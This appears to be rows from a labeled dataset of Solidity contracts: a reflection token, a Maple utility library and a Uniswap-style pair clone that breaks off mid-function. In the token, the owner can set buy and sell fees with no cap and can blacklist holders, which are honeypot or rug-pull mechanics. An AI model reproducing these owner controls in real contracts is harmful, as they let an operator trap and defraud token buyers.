if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromLimit(address account) public onlyOwner() {
require(!_isExcludedBal[account], "Account is already excluded");
_isExcludedBal[account] = true;
}
function includeInLimit(address account) external onlyOwner() {
require(_isExcludedBal[account], "Account is already excluded");
_isExcludedBal[account] = false;
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn ) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if(tLiquidity > 0 ) _takeLiquidity(sender, tLiquidity);
if(tBurn > 0) _burn(sender, tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
emit SetTaxFeePercent(taxFee);
}
function setSellFeePercent(uint256 sellFee) external onlyOwner() {
_sellFees = sellFee;
emit SetSellFeePercent(sellFee);
}
function setBuyFeePercent(uint256 buyFee) external onlyOwner() {
_buyFees = buyFee;
emit SetBuyFeePercent(buyFee);
}
function setMaxBalPercent(uint256 maxBalPercent) external onlyOwner() {
_maxBalAmount = _tTotal.mul(maxBalPercent).div(
10**2
);
emit SetMaxBalPercent(maxBalPercent);
}
function setSwapAmount(uint256 amount) external onlyOwner() {
numTokensSellToAddToLiquidity = amount;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setTaxEnable (bool _enable) public onlyOwner {
_taxEnabled = _enable;
emit SetTaxEnable(_enable);
}
function addToBlackList (address[] calldata accounts ) public onlyOwner {
for (uint256 i =0; i < accounts.length; ++i ) {
_isBlacklisted[accounts[i]] = true;
}
}
function removeFromBlackList(address account) public onlyOwner {
_isBlacklisted[account] = false;
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate(), tBurn);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tBurn);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tBurn);
return (tTransferAmount, tFee, tLiquidity, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate, uint256 tBurn) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(address sender, uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
emit Transfer(sender, address(this), tLiquidity);
}
function _burn(address sender, uint256 tBurn) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tBurn.mul(currentRate);
_rOwned[address(0)] = _rOwned[address(0)].add(rLiquidity);
if(_isExcluded[address(0)])
_tOwned[address(0)] = _tOwned[address(0)].add(tBurn);
emit Transfer(sender, address(0), tBurn);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 ) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(!_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted");
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// if(from != owner() && to != owner())
// require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
// if(contractTokenBalance >= _maxTxAmount)
// {
// contractTokenBalance = _maxTxAmount;
// }
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
// contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = false;
if(from == uniswapV2Pair || to == uniswapV2Pair) {
takeFee = true;
}
if(!_taxEnabled || _isExcludedFromFee[from] || _isExcludedFromFee[to]){ //if any account belongs to _isExcludedFromFee account then remove the fee
takeFee = false;
}
if(from == uniswapV2Pair) {
_liquidityFee = _buyFees;
}
if (to == uniswapV2Pair) {
_liquidityFee = _sellFees;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(contractTokenBalance); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
(bool succ, ) = address(marketing).call{value: newBalance}("");
require(succ, "marketing ETH not sent");
emit SwapAndLiquify(contractTokenBalance, newBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!_isExcludedBal[recipient] ) {
require(balanceOf(recipient)<= _maxBalAmount, "Balance limit reached");
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if(tBurn > 0) _burn(sender, tBurn);
if(tLiquidity > 0 ) _takeLiquidity(sender, tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if(tBurn > 0) _burn(sender, tBurn);
if(tLiquidity > 0 ) _takeLiquidity(sender, tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn ) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if(tBurn > 0) _burn(sender, tBurn);
if(tLiquidity > 0 ) _takeLiquidity(sender, tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | True | [
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// SPDX-License-Identifier: AGPL-3.0-or-later // hevm: flattened sources of contracts/library/Util.sol
pragma solidity =0.6.11 >=0.6.0 <0.8.0;
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// contracts/interfaces/IERC20Details.sol
/* pragma solidity 0.6.11; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
interface IERC20Details is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
}
////// contracts/interfaces/IMapleGlobals.sol
/* pragma solidity 0.6.11; */
interface IMapleGlobals {
function pendingGovernor() external view returns (address);
function governor() external view returns (address);
function globalAdmin() external view returns (address);
function mpl() external view returns (address);
function mapleTreasury() external view returns (address);
function isValidBalancerPool(address) external view returns (bool);
function treasuryFee() external view returns (uint256);
function investorFee() external view returns (uint256);
function defaultGracePeriod() external view returns (uint256);
function fundingPeriod() external view returns (uint256);
function swapOutRequired() external view returns (uint256);
function isValidLiquidityAsset(address) external view returns (bool);
function isValidCollateralAsset(address) external view returns (bool);
function isValidPoolDelegate(address) external view returns (bool);
function validCalcs(address) external view returns (bool);
function isValidCalc(address, uint8) external view returns (bool);
function getLpCooldownParams() external view returns (uint256, uint256);
function isValidLoanFactory(address) external view returns (bool);
function isValidSubFactory(address, address, uint8) external view returns (bool);
function isValidPoolFactory(address) external view returns (bool);
function getLatestPrice(address) external view returns (uint256);
function defaultUniswapPath(address, address) external view returns (address);
function minLoanEquity() external view returns (uint256);
function maxSwapSlippage() external view returns (uint256);
function protocolPaused() external view returns (bool);
function stakerCooldownPeriod() external view returns (uint256);
function lpCooldownPeriod() external view returns (uint256);
function stakerUnstakeWindow() external view returns (uint256);
function lpWithdrawWindow() external view returns (uint256);
function oracleFor(address) external view returns (address);
function validSubFactories(address, address) external view returns (bool);
function setStakerCooldownPeriod(uint256) external;
function setLpCooldownPeriod(uint256) external;
function setStakerUnstakeWindow(uint256) external;
function setLpWithdrawWindow(uint256) external;
function setMaxSwapSlippage(uint256) external;
function setGlobalAdmin(address) external;
function setValidBalancerPool(address, bool) external;
function setProtocolPause(bool) external;
function setValidPoolFactory(address, bool) external;
function setValidLoanFactory(address, bool) external;
function setValidSubFactory(address, address, bool) external;
function setDefaultUniswapPath(address, address, address) external;
function setPoolDelegateAllowlist(address, bool) external;
function setCollateralAsset(address, bool) external;
function setLiquidityAsset(address, bool) external;
function setCalc(address, bool) external;
function setInvestorFee(uint256) external;
function setTreasuryFee(uint256) external;
function setMapleTreasury(address) external;
function setDefaultGracePeriod(uint256) external;
function setMinLoanEquity(uint256) external;
function setFundingPeriod(uint256) external;
function setSwapOutRequired(uint256) external;
function setPriceOracle(address, address) external;
function setPendingGovernor(address) external;
function acceptGovernor() external;
}
////// lib/openzeppelin-contracts/contracts/math/SafeMath.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
////// contracts/library/Util.sol
/* pragma solidity 0.6.11; */
/* import "../interfaces/IERC20Details.sol"; */
/* import "../interfaces/IMapleGlobals.sol"; */
/* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */
/// @title Util is a library that contains utility functions.
library Util {
using SafeMath for uint256;
/**
@dev Calculates the minimum amount from a swap (adjustable for price slippage).
@param globals Instance of a MapleGlobals.
@param fromAsset Address of ERC-20 that will be swapped.
@param toAsset Address of ERC-20 that will returned from swap.
@param swapAmt Amount of `fromAsset` to be swapped.
@return Expected amount of `toAsset` to receive from swap based on current oracle prices.
*/
function calcMinAmount(IMapleGlobals globals, address fromAsset, address toAsset, uint256 swapAmt) external view returns (uint256) {
return
swapAmt
.mul(globals.getLatestPrice(fromAsset)) // Convert from `fromAsset` value.
.mul(10 ** IERC20Details(toAsset).decimals()) // Convert to `toAsset` decimal precision.
.div(globals.getLatestPrice(toAsset)) // Convert to `toAsset` value.
.div(10 ** IERC20Details(fromAsset).decimals()); // Convert from `fromAsset` decimal precision.
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-16
*/
pragma solidity =0.5.16;
interface ISynthesisFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface ISynthesisPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface ISynthesisERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract SynthesisERC20 is ISynthesisERC20 {
using SafeMath for uint;
string public constant name = 'Synthesis LPs';
string public constant symbol = 'Synthesis-LP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'Synthesis: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Synthesis: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface ISynthesisCallee {
function synthesisCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract SynthesisPair is ISynthesisPair, SynthesisERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Synthesis: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'Synthesis: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Synthesis: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'Synthesis: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
